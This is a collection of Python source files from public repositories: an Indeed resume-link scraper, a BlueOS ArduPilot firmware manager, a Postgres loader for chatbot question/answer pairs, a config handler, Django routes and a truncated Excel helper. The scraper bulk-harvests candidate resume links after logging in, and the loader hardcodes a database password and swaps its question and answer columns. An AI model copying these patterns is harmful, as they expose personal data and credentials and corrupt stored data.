{"api_name": "xo1.color.Palette", "line_number": 16, "usage_type": "name"}, {"api_name": "xo1.window.create_window", "line_number": 18, "usage_type": "call"}, {"api_name": "xo1.render.Renderer", "line_number": 19, "usage_type": "call"}, {"api_name": "xo1.color.Palette", "line_number": 23, "usage_type": "call"}, {"api_name": "xo1.window.deinit_window", "line_number": 53, "usage_type": "call"}, {"api_name": "xo1.color.Palette", "line_number": 59, "usage_type": "name"}, {"api_name": "xo1.color.Palette", "line_number": 65, "usage_type": "name"}, {"api_name": "xo1.color.Palette", "line_number": 68, "usage_type": "argument"}]}
{"seq_id": "73383407626", "text": "import time\nfrom selenium import webdriver\nfrom ratelimiter import RateLimiter\nfrom login import login\nimport numpy as np\nimport pandas as pd\nfrom tqdm import tqdm\nfrom tqdm._tqdm_notebook import tqdm_notebook\n\n\ndef get_num_pages(jt,rb,start=0):\n    # Gets the counts of links in a page.\n    url = f\"https://www.indeed.com/resumes?q={jt}&co=US&lmd=all&rb={rb}&start=50\"\n    driver.get(url)\n    result_cnt = driver.find_element_by_id('result_count')\n    if result_cnt.text != '':\n        result_cnt = int(result_cnt.text.split(' ')[0].replace(',',''))\n        pagenum = np.array(range(round(result_cnt/50)))*50\n        return pagenum[(pagenum >=start) & (pagenum <5000)]\n    else:\n        print(jt)\n        return None\n\ndef indeedlogin():\n    # To sign in to indeed using your email id and password\n    driver.get('https://secure.indeed.com/account')\n    credentials = login()\n    userfield = driver.find_element_by_id('signin_email')\n    userfield.send_keys(credentials[0])\n    passwordfield = driver.find_element_by_id('signin_password')\n    passwordfield.send_keys(credentials[1])\n    passwordfield.submit()\n\ndef scrapper(jt,num,rb):\n    # Given a job title,page num and year of exp id, collect all the links\n    url = f\"https://www.indeed.com/resumes?q={jt}&co=US&lmd=all&rb={rb}&start={num}\"\n    temp =[]\n    driver.get(url)\n    results = driver.find_elements_by_xpath('//div[@class=\"app_name\"]')\n    if results!= []:\n        for result in results:\n            tag = result.find_element_by_xpath('./a')\n            temp.append(tag.get_attribute('href'))\n        return temp\n    else:\n        return ''\n        \ndef limited(until):\n    duration = int(round(until - time.time()))\n    print('Rate limited, sleeping for {:d} seconds'.format(duration))\n\nif __name__ == \"__main__\":\n    output_path = 'links_ds.csv'\n    driver = webdriver.Chrome('/usr/local/bin/chromedriver')\n    indeedlogin()\n    title =[]\n    job_titles =['\"data scientist\"']\n    exp_rbdict  ={'<1year':'yoe%3A1-11',\n                 '1-2 years':'yoe%3A12-24',\n                 '3-5 years':'yoe%3A25-60',\n                 '6-10 years':'yoe%3A61-120',\n                 'More than 10 years':'yoe%3A121'}\n    rate_limiter = RateLimiter(max_calls=17, period=180, callback=limited)\n    for jt in tqdm(job_titles):  \n        for rb in exp_rbdict:\n            pagenum = get_num_pages(jt,exp_rbdict[rb])\n            if pagenum is not None:\n                for num in tqdm(pagenum):\n                    with rate_limiter:\n                        temp =scrapper(jt,num,exp_rbdict[rb])\n                        title+=temp\n                        if num%500 ==0 or len(temp)==0: \n                            data = pd.DataFrame(np.array(title),columns=['links'])\n                            data.to_csv(output_path)\n                            print('No of links:',len(title))\n            else:\n                print('No pages available')\n    driver.quit() # close browser\n    data = pd.DataFrame(np.array(title),columns=['links'])\n    data.to_csv(output_path)\n", "repo_name": "devm2024/resume_analyser", "sub_path": "get_links.py", "file_name": "get_links.py", "file_ext": "py", "file_size_in_byte": 3016, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.array", "line_number": 18, "usage_type": "call"}, {"api_name": "login.login", "line_number": 27, "usage_type": "call"}, {"api_name": "time.time", "line_number": 49, "usage_type": "call"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 54, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 54, "usage_type": "name"}, {"api_name": "ratelimiter.RateLimiter", "line_number": 63, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 64, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 68, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 73, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 79, "usage_type": "call"}]}
{"seq_id": "39162768077", "text": "import pathlib\nimport shutil\nimport subprocess\nimport tempfile\nfrom pathlib import Path\nfrom typing import List, Optional\n\nfrom loguru import logger\n\nfrom exceptions import (\n    FirmwareInstallFail,\n    NoDefaultFirmwareAvailable,\n    NoVersionAvailable,\n    UnsupportedPlatform,\n)\nfrom firmware.FirmwareDownload import FirmwareDownloader\nfrom firmware.FirmwareInstall import FirmwareInstaller\nfrom typedefs import (\n    Firmware,\n    FirmwareFormat,\n    FlightController,\n    Parameters,\n    Platform,\n    PlatformType,\n    Vehicle,\n)\n\n\nclass FirmwareManager:\n    def __init__(\n        self, firmware_folder: pathlib.Path, defaults_folder: pathlib.Path, user_defaults_folder: pathlib.Path\n    ) -> None:\n        self.firmware_folder = firmware_folder\n        self.defaults_folder = defaults_folder\n        self.user_defaults_folder = user_defaults_folder\n        self.firmware_download = FirmwareDownloader()\n        self.firmware_installer = FirmwareInstaller()\n\n    @staticmethod\n    def firmware_name(platform: Platform) -> str:\n        \"\"\"Get consistent firmware name for given platform.\"\"\"\n        return f\"ardupilot_{platform.value.lower()}\"\n\n    def firmware_path(self, platform: Platform) -> pathlib.Path:\n        \"\"\"Get firmware's path for given platform. This is the path where we expect to find\n        a valid Ardupilot binary for Linux boards.\"\"\"\n        return pathlib.Path.joinpath(self.firmware_folder, self.firmware_name(platform))\n\n    def default_user_firmware_path(self, platform: Platform) -> pathlib.Path:\n        \"\"\"Get path of user-defined default firmware for given platform.\"\"\"\n        return pathlib.Path.joinpath(self.user_defaults_folder, self.firmware_name(platform) + \"_default\")\n\n    def default_user_params_path(self, platform: Platform) -> pathlib.Path:\n        \"\"\"Get path of user-defined default firmware for given platform.\"\"\"\n        return pathlib.Path.joinpath(self.user_defaults_folder, self.firmware_name(platform) + \"params.params\")\n\n    def default_firmware_path(self, platform: Platform) -> pathlib.Path:\n        \"\"\"Get path of default firmware for given platform.\"\"\"\n        if self.default_user_firmware_path(platform).is_file():\n            return self.default_user_firmware_path(platform)\n        return pathlib.Path.joinpath(self.defaults_folder, self.firmware_name(platform))\n\n    def is_default_firmware_available(self, platform: Platform) -> bool:\n        return pathlib.Path.is_file(self.default_firmware_path(platform)) or pathlib.Path.is_file(\n            self.default_user_firmware_path(platform)\n        )\n\n    def is_firmware_installed(self, board: FlightController) -> bool:\n        \"\"\"Check if firmware for given platform is installed.\"\"\"\n        if board.type == PlatformType.Serial:\n            # Assumes for now that a serial board always has a firmware installed, which is true most of the time\n            # TODO: Validate if properly. The uploader tool seems capable of doing this.\n            return True\n\n        firmware_format = FirmwareDownloader._supported_firmware_formats[board.platform.type]\n        if firmware_format == FirmwareFormat.ELF:\n            return pathlib.Path.is_file(self.firmware_path(board.platform))\n\n        raise UnsupportedPlatform(\"Install check is not implemented for this platform.\")\n\n    def get_available_firmwares(self, vehicle: Vehicle, platform: Platform) -> List[Firmware]:\n        firmwares = []\n        versions = self.firmware_download.get_available_versions(vehicle, platform)\n        if not versions:\n            raise NoVersionAvailable(f\"Failed to find any version for vehicle {vehicle}.\")\n        for version in versions:\n            try:\n                url = self.firmware_download.get_download_url(vehicle, platform, version)\n                firmware = Firmware(name=version, url=url)\n                firmwares.append(firmware)\n            except Exception as error:\n                logger.debug(f\"Error fetching URL for version {version} on vehicle {vehicle}: {error}\")\n        if not firmwares:\n            raise NoVersionAvailable(f\"Failed do get any valid URL for vehicle {vehicle}.\")\n        return firmwares\n\n    def install_firmware_from_file(\n        self, new_firmware_path: pathlib.Path, board: FlightController, default_parameters: Optional[Parameters] = None\n    ) -> None:\n        if default_parameters is not None:\n            if board.platform.type == PlatformType.Serial:\n                self.embed_params_into_apj(new_firmware_path, default_parameters)\n            else:\n                self.save_params_to_default_linux_path(board.platform, default_parameters)\n        try:\n            if board.type == PlatformType.Serial:\n                self.firmware_installer.install_firmware(new_firmware_path, board)\n            else:\n                self.firmware_installer.install_firmware(new_firmware_path, board, self.firmware_path(board.platform))\n            logger.info(f\"Succefully installed firmware for {board.name}.\")\n        except Exception as error:\n            raise FirmwareInstallFail(\"Could not install firmware.\") from error\n\n    def embed_params_into_apj(self, firmware_path: Path, default_parameters: Parameters) -> None:\n        # create a temporary file\n        with tempfile.NamedTemporaryFile(mode=\"w+\", delete=False) as temp:\n            # write each parameter to the file\n            for param, value in default_parameters.params.items():\n                temp.write(f\"{param}={value}\\n\")\n            # make sure all data is written to the file\n            temp.flush()\n            # construct the command as a list of strings\n            command = [\"apj_tool.py\", str(firmware_path), \"--set-file\", temp.name]\n            # use subprocess.run to execute the command\n            result = subprocess.run(command, capture_output=True, text=True, check=False)\n            # check for errors\n            if result.returncode != 0:\n                logger.error(f\"Error setting parameters: {result.stderr}\")\n\n        # clean up the temporary file\n        Path(temp.name).unlink()\n\n    def save_params_to_default_linux_path(self, platform: Platform, default_parameters: Optional[Parameters]) -> None:\n        # write the params to the default params file as csv format\n        if default_parameters:\n            with open(self.default_user_params_path(platform), \"w\", encoding=\"utf-8\") as f:\n                for key in default_parameters.params.keys():\n                    f.write(f\"{key},{default_parameters.params[key]}\\n\")\n        else:\n            # if no params are provided, delete the file if it exists\n            if self.default_user_params_path(platform).is_file():\n                self.default_user_params_path(platform).unlink()\n\n    def install_firmware_from_url(\n        self,\n        url: str,\n        board: FlightController,\n        makeDefault: bool = False,\n        default_parameters: Optional[Parameters] = None,\n    ) -> None:\n        temporary_file = self.firmware_download._download(url.strip())\n        if default_parameters is not None:\n            if board.platform.type == PlatformType.Serial:\n                self.embed_params_into_apj(temporary_file, default_parameters)\n            else:\n                self.save_params_to_default_linux_path(board.platform, default_parameters)\n        if makeDefault:\n            shutil.copy(temporary_file, self.default_user_firmware_path(board.platform))\n        self.install_firmware_from_file(temporary_file, board, default_parameters)\n\n    def install_firmware_from_params(self, vehicle: Vehicle, board: FlightController, version: str = \"\") -> None:\n        url = self.firmware_download.get_download_url(vehicle, board.platform, version)\n        self.install_firmware_from_url(url, board)\n\n    def restore_default_firmware(self, board: FlightController) -> None:\n        if not self.is_default_firmware_available(board.platform):\n            raise NoDefaultFirmwareAvailable(f\"Default firmware not available for '{board.name}'.\")\n\n        self.install_firmware_from_file(self.default_firmware_path(board.platform), board)\n\n    @staticmethod\n    def validate_firmware(firmware_path: pathlib.Path, platform: Platform) -> None:\n        FirmwareInstaller.validate_firmware(firmware_path, platform)\n", "repo_name": "bluerobotics/BlueOS", "sub_path": "core/services/ardupilot_manager/firmware/FirmwareManagement.py", "file_name": "FirmwareManagement.py", "file_ext": "py", "file_size_in_byte": 8211, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 86, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pathlib.Path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "firmware.FirmwareDownload.FirmwareDownloader", "line_number": 36, "usage_type": "call"}, {"api_name": "firmware.FirmwareInstall.FirmwareInstaller", "line_number": 37, "usage_type": "call"}, {"api_name": "typedefs.Platform", "line_number": 40, "usage_type": "name"}, {"api_name": "typedefs.Platform", "line_number": 44, "usage_type": "name"}, {"api_name": "pathlib.Path.joinpath", "line_number": 47, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "typedefs.Platform", "line_number": 49, "usage_type": "name"}, {"api_name": "pathlib.Path.joinpath", "line_number": 51, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "typedefs.Platform", "line_number": 53, "usage_type": "name"}, {"api_name": "pathlib.Path.joinpath", "line_number": 55, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "typedefs.Platform", "line_number": 57, "usage_type": "name"}, {"api_name": "pathlib.Path.joinpath", "line_number": 61, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "typedefs.Platform", "line_number": 63, "usage_type": "name"}, {"api_name": "pathlib.Path.is_file", "line_number": 64, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "typedefs.FlightController", "line_number": 68, "usage_type": "name"}, {"api_name": "typedefs.PlatformType.Serial", "line_number": 70, "usage_type": "attribute"}, {"api_name": "typedefs.PlatformType", "line_number": 70, "usage_type": "name"}, {"api_name": "firmware.FirmwareDownload.FirmwareDownloader._supported_firmware_formats", "line_number": 75, "usage_type": "attribute"}, {"api_name": "firmware.FirmwareDownload.FirmwareDownloader", "line_number": 75, "usage_type": "name"}, {"api_name": "typedefs.FirmwareFormat.ELF", "line_number": 76, "usage_type": "attribute"}, {"api_name": "typedefs.FirmwareFormat", "line_number": 76, "usage_type": "name"}, {"api_name": "pathlib.Path.is_file", "line_number": 77, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "exceptions.UnsupportedPlatform", "line_number": 79, "usage_type": "call"}, {"api_name": "typedefs.Vehicle", "line_number": 81, "usage_type": "name"}, {"api_name": "typedefs.Platform", "line_number": 81, "usage_type": "name"}, {"api_name": "exceptions.NoVersionAvailable", "line_number": 85, "usage_type": "call"}, {"api_name": "firmware.FirmwareDownload", "line_number": 89, "usage_type": "name"}, {"api_name": "typedefs.Firmware", "line_number": 89, "usage_type": "call"}, {"api_name": "firmware.FirmwareDownload", "line_number": 90, "usage_type": "argument"}, {"api_name": "loguru.logger.debug", "line_number": 92, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 92, "usage_type": "name"}, {"api_name": "exceptions.NoVersionAvailable", "line_number": 94, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 81, "usage_type": "name"}, {"api_name": "typedefs.Firmware", "line_number": 81, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 98, "usage_type": "attribute"}, {"api_name": "typedefs.FlightController", "line_number": 98, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 98, "usage_type": "name"}, {"api_name": "typedefs.Parameters", "line_number": 98, "usage_type": "name"}, {"api_name": "typedefs.PlatformType.Serial", "line_number": 101, "usage_type": "attribute"}, {"api_name": "typedefs.PlatformType", "line_number": 101, "usage_type": "name"}, {"api_name": "typedefs.PlatformType.Serial", "line_number": 106, "usage_type": "attribute"}, {"api_name": "typedefs.PlatformType", "line_number": 106, "usage_type": "name"}, {"api_name": "loguru.logger.info", "line_number": 110, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 110, "usage_type": "name"}, {"api_name": "exceptions.FirmwareInstallFail", "line_number": 112, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 114, "usage_type": "name"}, {"api_name": "typedefs.Parameters", "line_number": 114, "usage_type": "name"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 116, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 125, "usage_type": "call"}, {"api_name": "loguru.logger.error", "line_number": 128, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 128, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 131, "usage_type": "call"}, {"api_name": "typedefs.Platform", "line_number": 133, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 133, "usage_type": "name"}, {"api_name": "typedefs.Parameters", "line_number": 133, "usage_type": "name"}, {"api_name": "typedefs.FlightController", "line_number": 147, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 149, "usage_type": "name"}, {"api_name": "typedefs.Parameters", "line_number": 149, "usage_type": "name"}, {"api_name": "typedefs.PlatformType.Serial", "line_number": 153, "usage_type": "attribute"}, {"api_name": "typedefs.PlatformType", "line_number": 153, "usage_type": "name"}, {"api_name": "shutil.copy", "line_number": 158, "usage_type": "call"}, {"api_name": "typedefs.Vehicle", "line_number": 161, "usage_type": "name"}, {"api_name": "typedefs.FlightController", "line_number": 161, "usage_type": "name"}, {"api_name": "typedefs.FlightController", "line_number": 165, "usage_type": "name"}, {"api_name": "exceptions.NoDefaultFirmwareAvailable", "line_number": 167, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 172, "usage_type": "attribute"}, {"api_name": "typedefs.Platform", "line_number": 172, "usage_type": "name"}, {"api_name": "firmware.FirmwareInstall.FirmwareInstaller.validate_firmware", "line_number": 173, "usage_type": "call"}, {"api_name": "firmware.FirmwareInstall.FirmwareInstaller", "line_number": 173, "usage_type": "name"}]}
{"seq_id": "24398926174", "text": "import psycopg2\n\n\nconn = psycopg2.connect(\n    host = 'localhost',\n    user = 'postgres', \n    database = 'postgres',\n    password = 'timezone',\n    client_encoding=\"UTF8\"\n)\n\n\ncursor = conn.cursor()\n\n\nwith open(\"C:\\\\THINGS\\\\githup project\\\\finalQ.txt\", 'r', encoding='utf-8') as qus:\n \n    quest = qus.readlines()\n    # Remove the newline character from each name\n    quest = [name.strip() for name in quest]\n    \n\nwith open(\"C:\\\\THINGS\\\\githup project\\\\finalA.txt\", 'r', encoding='utf-8') as ans:\n\n    answer = ans.readlines()\n    # Remove the newline character from each gender\n    answer = [gender.strip() for gender in answer]\n    \n    # Zip the names and genders together to create pairs\n    data = zip(quest, answer)\n    \n\n    for quest, answer in data:\n\n        cursor.execute(\"INSERT INTO bots (qus, ans) VALUES (%s, %s)\", (answer, quest))\n\n\nconn.commit()\n\n\ncursor.close()\nconn.close()", "repo_name": "Noraldim/chatDB", "sub_path": "cleanDB.py", "file_name": "cleanDB.py", "file_ext": "py", "file_size_in_byte": 893, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "psycopg2.connect", "line_number": 4, "usage_type": "call"}]}
{"seq_id": "32208488402", "text": "import configparser\nfrom os.path import isfile\nfrom os import getcwd\n\n\nclass ConfigHandler:\n    \"\"\"\n    Handles anything config related;\n    Reading, writing, updating the config file.\n    and returning any requested values or sections\n\n    Config layout:\n    DEFAULT - Section - contains most of the general stuff\n        such as the interval timer and whether to notify on status change\n    WINDOW - Section - All the window related settings are  here\n        such as width, height and location\n    \"\"\"\n\n    def __init__(self, filename, logger):\n\n        # config parser\n        self.config = configparser.ConfigParser()\n\n        # local variables\n        self.logger = logger\n        self.filename = getcwd() + filename\n\n        # init, check if config file exists\n        if isfile(self.filename):\n            # File exists, load config\n            self.logger.debug(\"Config file exists, loading values...\")\n            self.load_config()\n        else:\n            self.logger.error(f\"Config file '{filename}' not found!\\n\"\n                              \"Making default config\")\n            self.make_default_config()\n\n    def make_default_config(self):\n        self.config['DEFAULT'] = {\n            'interval_checks': '30',\n            'notify_status_change': 'True'\n        }\n        self.config['WINDOW'] = {\n            'width': '800',\n            'height': '600',\n            'location_x': '0',\n            'location_y': '0',\n            'custom_style': 'False'\n        }\n        self.write_config()\n\n    # == Reading/Writing config-file ==\n    def load_config(self):\n        self.config.read(self.filename, encoding='utf-8')\n\n    def write_config(self):\n        try:\n            self.logger.debug(f\"filename: {self.filename} | cwd: {getcwd()}\")\n            with open(self.filename, 'w', encoding='utf-8') as f:\n                self.config.write(f)\n        except Exception as e:\n            self.logger.error(\"Exception caught writing config\", exc_info=e)\n\n    # == Updating values/sections ==\n    def update_value(self, section, value_name, new_value):\n        \"\"\"\n        Updates the value in the configparser, then writes it to the config file\n        :param section: str - Section/Key for the config dict\n        :param value_name: str - The key for the value inside the section\n        :param new_value: str - New value, gets formatted to string for output\n\n        Dictionary build example\n        config = { \"SECTION\": { \"VALUE_NAME\": \"VALUE\", ... }, ... }\n        \"\"\"\n        if not isinstance(new_value, str):\n            new_value = str(new_value)\n        self.config[section][value_name] = new_value\n        self.write_config()\n\n    def update_section(self, section, new_values):\n        if not isinstance(new_values, dict):\n            self.logger.warning(\"Wrong value type for update_section\\n\"\n                                f\"Expected {type(dict)} | Got: {type(new_values)}\")\n            raise TypeError\n        else:\n            self.config[section] = new_values\n            self.write_config()\n\n    # == getting values/sections ==\n    def get_value(self, value_name, section=\"DEFAULT\", return_type=None):\n        \"\"\"\n        Simple gets the value from the configparser and returns it,\n        default type for returning is a string, unless requested otherwise\n        :param value_name:\n        :param section:\n        :param return_type:\n        :return: string, unless return_type is given\n        \"\"\"\n        if return_type is int:\n            try:\n                value = int(self.config[section][value_name])\n                return value\n            except ValueError:\n                self.logger.error(\"Unable to return requested type in get_value\\n\"\n                                  f\"Requested type was '{return_type}' \"\n                                  f\"for value: {self.config[section][value_name]}\")\n        else:\n            if return_type is not None:\n                self.logger.warning(\"Returning value as default, requested type not available\")\n\n            return self.config[section][value_name]\n\n    def get_section(self, section):\n        return self.config[section]\n\n    def get_sections(self):\n        return self.config.sections()\n", "repo_name": "Sain98/ConnectionTool", "sub_path": "tool/ConfigHandler.py", "file_name": "ConfigHandler.py", "file_ext": "py", "file_size_in_byte": 4186, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "configparser.ConfigParser", "line_number": 22, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 29, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 58, "usage_type": "call"}]}
{"seq_id": "25073949475", "text": "from django.urls import path, re_path\nfrom apps.goods import views\napp_name = '[goods]'\nurlpatterns = [\n path('goods_info/', views.goods_info, name='goods_info'),\n\n path('goods_list/',views.goods_list,name = 'goods_list'),\n\n path('goods_detail/<str:pk>',views.goods_detail,name = 'goods_detail'),\n]", "repo_name": "Qiaoyanqing/mycodes", "sub_path": "apps/goods/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 298, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.urls.path", "line_number": 5, "usage_type": "call"}, {"api_name": "apps.goods.views.goods_info", "line_number": 5, "usage_type": "attribute"}, {"api_name": "apps.goods.views", "line_number": 5, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "apps.goods.views.goods_list", "line_number": 7, "usage_type": "attribute"}, {"api_name": "apps.goods.views", "line_number": 7, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "apps.goods.views.goods_detail", "line_number": 9, "usage_type": "attribute"}, {"api_name": "apps.goods.views", "line_number": 9, "usage_type": "name"}]}
{"seq_id": "26265350410", "text": "# -*- coding: utf-8 -*- \n\"\"\"\n@__author__ :70486 \n@file: OpenpyxlExcel.py\n@time: 2017/12/9 18:39\n\"\"\"\n\nimport os\n\nimport pandas as pd\n\nfrom openpyxl import Workbook, load_workbook\nfrom openpyxl.utils.dataframe import dataframe_to_rows\n\n\"\"\"\n这个class负责读取数据：从excel中读取数据到电脑\n\"\"\"\n\n\nclass READEXCEL:\n\n\n    def startReadExcel(self, FILEPATH, SHEETNAME=1):\n        \"\"\"\n            FILEPATH :需要文件的位置\n            SHEETNAME　：读取工作薄的页面或者工作薄名\n        \"\"\"\n        # 判断文件是否存在\n        if os.path.exists(FILEPATH):\n            self.excel = FILEPATH\n\n            # 判断是否为空\n            self.readexccel_Data(SHEETNAME)\n        else:\n            raise FileNotFoundError('文件不存在！')\n\n    def readexccel_Data(self, sheet):\n        \"\"\"\n        此处不严谨：如果输入的字符串都为数字那么就会出错\n        :param sheet:\n        :return:\n        \"\"\"\n\n        # 创建需要操作的文档\n        self.workbook = load_workbook(filename=self.excel)  # 打开文档\n\n        # 判断是根据数字还是文字进行读取sheet，如果是数字的话必须小于现有的长度\n        if type(sheet) in [int] and sheet <= len(self.workbook.sheetnames):\n            # elf.workbook.sheetnames 打印工作薄名称\n            self.sheetbook = self.workbook[self.workbook.sheetnames[sheet - 1]]\n\n        # 如果是文字\n        elif type(sheet) in [str]:\n            self.sheetbook = self.workbook[sheet]\n\n        # 长度过长时提示\n        elif sheet > len(self.workbook.sheetnames):\n            print(\"sheet索要的位置大于现有的长度\")\n\n        # 最后输出\n        else:\n            print(\"你输入啥咯.\")\n\n    def get_sheet_value(self, _value):\n        \"\"\"\n        返回读取到单元格的内容，并已cell形式返回\n        :param _value:  需要读取的单元格\n        :return:\n        \"\"\"\n        # 先判断需要寻找的cell位置。如果为空或者其他类型的就提示\n        if type(_value) in [int, str]:\n            content = self.sheetbook[_value]\n            # 打印指定的内容:ws['A4']返回的是一个cell，通过value来获取值\n            # content = self.sheetbook[_value].value\n            return content\n        else:\n            print('1级错误')\n\n    def coordinates_sheet_row_value(self, min_row=1, max_row=None, max_col=None):\n        \"\"\"\n        指定行读取整行的数据数据信息，数据已经通过value转换了\n        :param min_row:  最小的行\n        :param max_row:  最大的行\n        :param max_col:  最大的列\n        :return:\n        \"\"\"\n        content = self.sheetbook.iter_rows(min_row=min_row, max_row=max_row, max_col=max_col)\n        row_col_data = []  # 存储除了标题以外的内容\n        # title_data = []  # 只存储标题内容\n        _data = True  # 用来控制第一行打印的数据为用例标题\n        for row in content:  # 工作薄的全部内容\n            if _data:\n                title_data = list(map(lambda single: single.value, row))  # 添加标题\n                _data = False\n            else:\n                # 存储除了标题以外的内容\n                row_col_data.append(list(map(lambda single: single.value, row)))\n        return row_col_data, title_data\n\n    def die_angegebene_keys(self, row_col_data, title_data, keys=\"函数\"):\n        \"\"\"\n        # 根据指定的keys值执行读取\n        :param row_col_data: 从case中单独分离出的数据信息\n        :param title_data:  从case中单独获取的title信息\n        :param keys:  根据title_data中某个key值进行读取数据\n        :return:\n        \"\"\"\n        columnLabel = []  # 获取指定key的内容用于做序列名\n        for title in range(len(title_data)):\n            if title_data[title] == keys:\n                for rowColExcel in row_col_data:\n                    columnLabel.append(rowColExcel[title])\n                break\n        return columnLabel\n\n    def coordinates_sheet_cols_value(self, min_row=1, max_row=None, max_col=None):\n        '''\n        指定列来读取整列的数据，数据已经通过value转换了\n        :param min_row:  最小的行\n        :param max_row:  最大的行\n        :param max_col:  最大的列\n        :return:\n        '''\n        content = self.sheetbook.iter_cols(min_row=min_row, max_row=max_row, max_col=max_col)\n        return content\n\n    def coordinates_sheet_row(self, min_row=1, max_row=None, max_col=None):\n        \"\"\"\n        指定行读取整行的数据数据信息，数据类型为cell\n        :param min_row:  最小的行\n        :param max_row:  最大的行\n        :param max_col:  最大的列\n        :return:\n        \"\"\"\n        content = self.sheetbook.iter_rows(min_row=min_row, max_row=max_row, max_col=max_col)\n        return content\n\n    def coordinates_sheet_cols(self, min_row=1, max_row=None, max_col=None):\n        '''\n        指定列来读取整列的数据，数据类型为cell\n        :param min_row:  最小的行\n        :param max_row:  最大的行\n        :param max_col:  最大的列\n        :return:\n        '''\n        content = self.sheetbook.iter_cols(min_row=min_row, max_row=max_row, max_col=max_col)\n        return content\n\n    def get_sheet_title(self):\n        # 工作薄的名称\n        return self.sheetbook.title\n\n    def get_column_letter(self, Number=1):\n        #   返回某个列的标题名称\n        from openpyxl.utils import get_column_letter\n        return get_column_letter(Number)\n\n    def replica_worksheet(self):\n        #   返回当前工作薄的复制体对象\n        copy_sheet = self.workbook.copy_worksheet(self.sheetbook)\n        return copy_sheet\n\n    def total_row_columns(self, total=True):\n        \"\"\"\n        为真时，以行为一体，每行的数据信息\n        为假时，以列为一体，每列的数据信息\n        :param total:\n        :return:\n        \"\"\"\n        if total:\n            content = tuple(self.sheetbook.rows)  # 单行中，列的数据\n            ''' 打印长度\n                row_cell = tuple(word_sheet.rows)\n                row_max_row = len(row_cell) 行的长度\n                row_max_col = len(row_cell[0]) 列的长度\n            '''\n        else:\n            content = tuple(self.sheetbook.columns)  # 单列中，行的数据\n            '''打印长度 \n                col_cell = tuple(word_sheet.columns)\n                col_max_col = len(col_cell) 行的长度\n                col_max_row = len(col_cell[0]) 列的长度\n            '''\n        return content\n\n    def attribute_template(self, emplate=None):\n        \"\"\"\n        将现有xlsx文档保存为xltx模板\n        :param emplate: 需要复制为xltx文档的名字\n        :return:\n        \"\"\"\n\n        if type(emplate) in [str]:  # 判断输入的内容是否为字符串\n            '''\n            将现有的表进行复制并保存为模板。。并后缀名为xltx，如果为xls和xlsx在打开的时候出现问题\n            1.判断是否字符串，防止传入数字或者其他类型的\n            2.切割一下是否含有xltx后缀名，有则说明可以直接有，没有就拿最后一个名字当做xltx文档的名字\n            3.如果为其他格式的就输出说明，\n            '''\n            genericpath = os.path.splitext(emplate)[1]  # 切割文件后缀名\n\n            if genericpath == '.xltx':\n                attribute = os.path.split(emplate)[1]  # 切割最后一个文件的名字\n                self.workbook.template = True  # 属性设置\n                self.workbook.save(attribute)  # 保存后缀名为xltx的文件\n                print('The xlsx document is completed by turning the xitx template.')\n                return attribute  # 返回文件名\n\n            elif genericpath == '':\n                attribute = os.path.split(emplate)[1] + '.xltx'  # 切割最后一个文件的名字\n                self.workbook.template = True  # 属性设置\n                self.workbook.save(attribute)  # 保存后缀名为xltx的文件\n                print('The xlsx document is completed by turning the xitx template.')\n                return attribute  # 返回文件名\n\n            elif genericpath in ['xls', 'xlsx', 'txt']:\n                print('Files that do not support suffixes such as XLS xlsx text')\n\n            else:\n                print('The input file suffix name does not conform.')\n\n        elif emplate == None:\n            \"\"\"\n            如果没有传入名字，那么就拿当前xlsx文件的名字作为xltx的名字并在前面加上copy\n            